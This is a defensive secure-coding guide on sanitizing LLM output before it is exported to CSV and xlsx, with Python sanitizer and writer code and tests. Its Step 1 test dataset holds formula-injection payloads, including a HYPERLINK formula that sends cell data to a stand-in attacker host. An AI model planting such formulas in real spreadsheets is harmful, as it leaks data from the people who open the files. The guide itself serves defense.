# Model output can plant live formulas in a client's spreadsheet

> Anything a model writes into CSV or xlsx needs the same output encoding as an API response, and about 30 lines of Python covers it.

Original: https://fdetimes.net/en/guides/llm-output-csv-formula-injection/

In May 2026 TypeBot, a chatbot-building tool, published an advisory for its feature that exports results to CSV. The exported files did not sanitize user input, which created a risk of code running on administrators' machines and of data leaking through functions such as HYPERLINK.

The fix (PR #2493) added a `sanitizeCsvCell` function. It puts a single quote in front of any value that starts with `=`, `+`, `-`, `@`, tab or CR, and applies to both cells and column headers.

TypeBot's bug lay in user-supplied data and had nothing to do with LLMs. But every FDE on an AI project will meet the same request sooner or later: the client wants to "download the results to Excel".

At that point summaries, classification labels and extractions generated by a model go straight into spreadsheet cells. The model only has to repeat a malicious string from an input document for the file to contain a formula.

OWASP has a dedicated entry for LLM output: LLM05:2025, Improper Output Handling, which covers model output passed to other systems without enough validation and sanitization. The page recommends encoding output for the context in which it will be used, but does not mention CSV by name.

This guide applies that general principle to spreadsheets, which are plainly one such context. The encoding layer takes only about 30 lines of Python.

## How dangerous can a CSV cell be?

George Mauer has described how a formula such as IMPORTXML in Google Sheets can send data out without the person opening the file ever knowing.

In his words, there is no warning, no popup and no reason to think anything is wrong. Users on the client side cannot spot it themselves, so the defense has to live in your code.

You will build an `export_safe.py` module in three parts: a cell sanitizer, a CSV writer and an xlsx writer. You need Python 3, the `xlsxwriter` package, and Excel or Google Sheets to open the results. The code below is trimmed down for illustration.

## Step 1: build a malicious dataset before writing code

Write the tests first. The data below mimics model output, with an injected formula in one cell:

```python
rows = [
    ["Contract A summary", '=HYPERLINK("http://attacker.example/?d="&A1,"View")'],
    ["-5% revenue", "@SUM(1+1)"],
    ["\tNote", "＝1+1"],
    ['Has "quotes", and a comma', 42],
]
header = ["=Column named by the model", "Value"]
```

Each row targets a different weakness. The `＝1+1` cell uses a full-width equals sign, because OWASP notes that full-width variants can be interpreted as formulas in some locales.

The last row contains both double quotes and a comma. OWASP stresses that checking the first character is not enough: field separators (`,` or `;`) and quotes can let an attacker open a new cell.

## Step 2: a sanitizer for each cell

The list of characters to block comes from OWASP: `=`, `+`, `-`, `@`, tab, CR, LF. The code also blocks the full-width versions of the first four, since OWASP warns they too may be read as formulas in some locales:

```python
RISKY = ("=", "+", "-", "@", "\t", "\r", "\n",
         "＝", "＋", "－", "＠")  # full-width variants

def is_risky(value):
    return isinstance(value, str) and value.startswith(RISKY)

def sanitize_cell(value):
    return "'" + value if is_risky(value) else value
```

The function touches only strings. The number `42` stays a number, which is why the model should return clearly typed data rather than stuffing everything into strings. The cost is that the string `-5% revenue` also gets a quote prefix. That trade-off is one to flag to the client in advance.

**Check:** `sanitize_cell("＝1+1")` must return `"'＝1+1"`, and `sanitize_cell(42)` must return `42`.

## Step 3: write the CSV, headers included

OWASP sets out the general steps: wrap cells in double quotes, prefix risky cells with a single quote, and double any double quotes inside a cell. Python's standard `csv` module handles the double quotes:

```python
import csv

def write_csv(path, header, rows):
    with open(path, "w", newline="", encoding="utf-8") as f:
        w = csv.writer(f, quoting=csv.QUOTE_ALL)
        w.writerow([sanitize_cell(h) for h in header])
        for row in rows:
            w.writerow([sanitize_cell(v) for v in row])
```

The header must go through `sanitize_cell` too. TypeBot's fix does exactly that. On an AI project, column names may even be chosen by the model, which makes them output that needs sanitizing as well.

An alternative is `defusedcsv`, a drop-in replacement for the `csv` module via `from defusedcsv import csv`. According to its README, it prefixes a single quote to cells starting with `@`, `+`, `-`, `=`, `|` or `%`, and escapes the `|` character in those cells. That list lacks the tab and CR in OWASP's list, so run the Step 1 dataset through it before trusting it.

**Check:** open the file in a text editor. Every cell should be wrapped in double quotes, and the last row should contain `""quotes""`.

## Step 4: xlsx files have their own trap

openpyxl automatically assigns the formula type (`'f'`) to any string longer than one character that starts with `=`. XlsxWriter does the same: by default `write()` treats a string starting with `=` as a formula and writes it with `write_formula()`.

With XlsxWriter, switch off both auto-conversions, write strings with `write_string()` and use the quote prefix format:

```python
import xlsxwriter

def write_xlsx(path, header, rows):
    wb = xlsxwriter.Workbook(path, {"strings_to_formulas": False,
                                    "strings_to_urls": False})
    ws = wb.add_worksheet()
    quoted = wb.add_format()
    quoted.set_quote_prefix()
    for r, row in enumerate([header] + rows):
        for c, v in enumerate(row):
            if isinstance(v, str):
                ws.write_string(r, c, v, quoted if is_risky(v) else None)
            else:
                ws.write(r, c, v)
    wb.close()
```

`set_quote_prefix()` keeps a string a string even after the user edits the cell, just like typing a single quote by hand in Excel.

So with xlsx, unlike CSV, nothing is inserted into the data itself. `strings_to_urls` is also on by default, so turn it off to stop the model from producing clickable links.

If the project must use openpyxl, pass strings through `sanitize_cell` before assigning them to cells, then open the file to check. Bear in mind that a single quote added this way stays in the cell's value: people viewing the file will see it, and programs reading the file will treat it as part of the data.

**Check:** open `results.xlsx`. The HYPERLINK cell should show its raw text, and clicking into the cell and pressing Enter must not turn it into a formula.

**Key point:** A spreadsheet is a system that can execute code, so model output must be encoded before it goes in.

## What are the most common mistakes?

The first is filtering only the input. Filtering prompts without filtering output still leaves a gap, because the model can assemble a dangerous string on its own. The defense has to sit right next to the file write.

The second is assuming the single quote will survive. OWASP warns that Excel can drop quotes or escape characters when a CSV file is saved and reopened. Test exactly that cycle: open, save, close, reopen.

The third is using the tab-insertion trick without knowing its cost. Mauer points out that the tab stays in the data, so the trick suits files meant for human eyes, not files that programs read back. The single quote has a similar problem: a downstream ETL pipeline will receive `'-5% revenue`.

## At the client, the most important question is not in the code

OWASP concedes that no CSV sanitization strategy is safe for every spreadsheet application and every downstream system that reads the file. So before choosing an approach, ask the client who opens the file, whether in Excel or Google Sheets, and whether any system loads it back in.

Even when the file is for people only, do not assume a single quote settles it. Run the open, save, reopen cycle in the exact software the client uses. If a system reads the file back, consider exporting a separate JSON version for machines and keeping the sanitized Excel version for people.

At handover, document this choice and the cases you tested. On a CV, a line such as "added an output encoding layer for CSV/xlsx exports of LLM results, with tests for malicious formulas and full-width characters" says more about you than a list of frameworks.

It is also a strong answer when an interviewer asks how you handle model output before it leaves the system.

The next time a client says "just export it to Excel", treat that Excel file with the same care as a public API.

**Try this week:**

- Find every place in your project that exports CSV or xlsx, run it against the malicious dataset above, and open the files in both Excel and Google Sheets.
- If you use XlsxWriter, check that the Workbook is passed &#123;'strings_to_formulas': False&#125;; if you use openpyxl, sanitize strings before assigning them to cells.
- Send the client one question: will the exported file be read by people, or read back by another system?

## Sources

- [CSV Injection (OWASP)](https://community.owasp.org/attacks/CSV_Injection)

- [The Absurdly Underestimated Dangers of CSV Injection](https://georgemauer.net/2017/10/07/csv-injection.html)

- [LLM05:2025 Improper Output Handling](https://genai.owasp.org/llmrisk/llm052025-improper-output-handling/)

- [CSV injection in result export · Advisory · baptisteArno/typebot.io](https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-p52m-h5qg-8p8w)

- [Sanitize CSV exports against formula injection · Pull Request #2493 · baptisteArno/typebot.io](https://github.com/baptisteArno/typebot.io/pull/2493)

- [openpyxl.cell.cell source (openpyxl documentation)](https://openpyxl.readthedocs.io/en/stable/_modules/openpyxl/cell/cell.html)

- [The Worksheet Class (XlsxWriter documentation)](https://xlsxwriter.readthedocs.io/worksheet.html)

- [The Workbook Class (XlsxWriter documentation)](https://xlsxwriter.readthedocs.io/workbook.html)

- [The Format Class (XlsxWriter documentation)](https://xlsxwriter.readthedocs.io/format.html)

- [defusedcsv README](https://raw.githubusercontent.com/raphaelm/defusedcsv/master/README.rst)
